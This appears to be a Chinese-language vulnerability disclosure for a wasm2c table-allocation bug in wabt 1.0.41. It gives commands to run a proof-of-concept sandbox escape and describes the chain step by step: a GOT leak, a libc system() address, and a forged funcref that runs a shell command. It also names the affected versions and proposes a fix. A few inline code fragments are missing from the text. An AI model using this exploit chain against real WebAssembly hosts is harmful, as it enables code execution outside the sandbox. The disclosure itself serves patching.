阅读博客:trustsig.eu/blog
wasm2c/wasm-rt-impl-tableops.inc 中的 wasm_rt_allocate_funcref_table() 会根据模块声明的元素数量设置 table->size,然后忽略 calloc() 的结果。当分配失败时,表会留下 data == NULL 以及完整的声明 size,因此所有边界检查仍会通过,而 table->data[i] 会变成绝对地址 i * sizeof(wasm_rt_funcref_t)。
元素数量来自访客,因此访客可以选择分配大小并强制分配失败。
git clone https://github.com/trustsig-eu/wasm2c-tableflip.git
cd wasm2c-tableflip
docker build -t wabt-w2c-poc .
docker run --rm wabt-w2c-poc
该镜像会从上游克隆 tag 1.0.41 的 wabt,构建 wat2wasm 和 wasm2c,编译访客模块和一个普通嵌入器,然后运行它。
预期输出:
running guest
guest returned 0
--- file on host ---
goodbye sandbox
最后一行是 /tmp/pwned.txt 的内容,该文件在沙箱模块运行之前并不存在。
已在 linux/arm64 和 linux/amd64 上验证。模块中没有任何与架构相关的部分:实例地址、GOT 槽位和 libc 偏移量都是在构建时根据刚刚构建的二进制文件以及该镜像的 libc 解析出来的。
在 Linux 上,安装了 clang、cmake、ninja 和 binutils 后:
git clone --depth 1 --branch 1.0.41 --recurse-submodules --shallow-submodules \
https://github.com/WebAssembly/wabt ~/wabt
cmake -S ~/wabt -B ~/wabt/out -G Ninja -DCMAKE_BUILD_TYPE=Release \
-DBUILD_TESTS=OFF -DBUILD_LIBWASM=OFF -DWITH_WASI=OFF
ninja -C ~/wabt/out wat2wasm wasm2c
python3 tableflip_poc.py --wabt-src ~/wabt --wat2wasm ~/wabt/out/wat2wasm \
--wasm2c ~/wabt/out/wasm2c --run
cat /tmp/pwned.txt
macOS 不是此 PoC 支持的平台。Darwin 不强制执行 RLIMIT_AS,因此超大的 calloc 会成功,该 bug 永远不会触发;arm64 macOS 构建始终是位置无关的,而且 Mach-O 没有可用于泄露步骤的 ELF GOT。缺陷本身与平台无关;只有这条利用链是 Linux 特有的。
其他版本和命令:
docker build --build-arg WABT_REF=main -t wabt-w2c-poc .
docker run --rm wabt-w2c-poc bash -c \
"python3 tableflip_poc.py --run --command 'id > /tmp/pwned.txt' && cat /tmp/pwned.txt"
(table $t 2147483648 funcref)。68 GB 的 calloc 失败,data 为 NULL,size 保持 2147483648,表索引变成绝对地址。got_slot/32 处的 table.get 通过损坏的表读取嵌入器的 GOT,table.set 将结果存入模块自身的全局变量中,wasm 代码可以将其作为整数读取。这会泄露 libc 的 malloc 地址,system 则根据目标 libc 中的固定距离得出。wasm_rt_funcref_t:func_type 指向调用点类型哈希的副本(func_types_eq_slowpath 使用 memcmp 进行比较,因此访客控制的字节能通过检查),func = , = 命令字符串,也保存在全局变量中。模块中唯一硬编码的布局事实是模块实例的地址,由于它是全局变量,因此在非 PIE 嵌入器中是固定的。ASLR 保持启用;libc 地址在运行时泄露。
表分配必须失败。PoC 使用 ulimit -v 1000000,这是运行不可信代码的主机通常会设置的地址空间限制。它在 32 位主机上也会失败,因为分配完全无法满足,在 vm.overcommit_memory=2 时或内存压力足够大时也会失败。
在默认 overcommit 启发式策略的标准 64 位 Linux 上,分配会成功且永远不会被触碰,这就是该 bug 能在正常测试中存活的原因。
所有随 wasm2c 表一起发布的版本。未检查的 calloc 可追溯到提交 ab9e0b55(#813)。已在发布的 1.0.41 和当前 main 上验证。
同一运行时中的内存分配器处理了这种情况:
memory->data = (MEMORY_CELL_TYPE)calloc(byte_length, 1);
if (byte_length != 0 && !memory->data) {
abort();
}
表分配器需要同样的检查。
Dockerfile 构建 wabt 并运行 PoC。tableflip_poc.py 生成访客模块,构建嵌入器,使用 nm 和 readelf 从构建的二进制文件和目标 libc 中解析出三个常量,然后运行它。它生成的嵌入器不包含任何利用支持代码。systemmodule_instanceglobals_addr/32 处的 call_indirect。wasm2c 会生成 ((t)entry.func)(entry.module_instance, ...),因此这会调用 system(command)。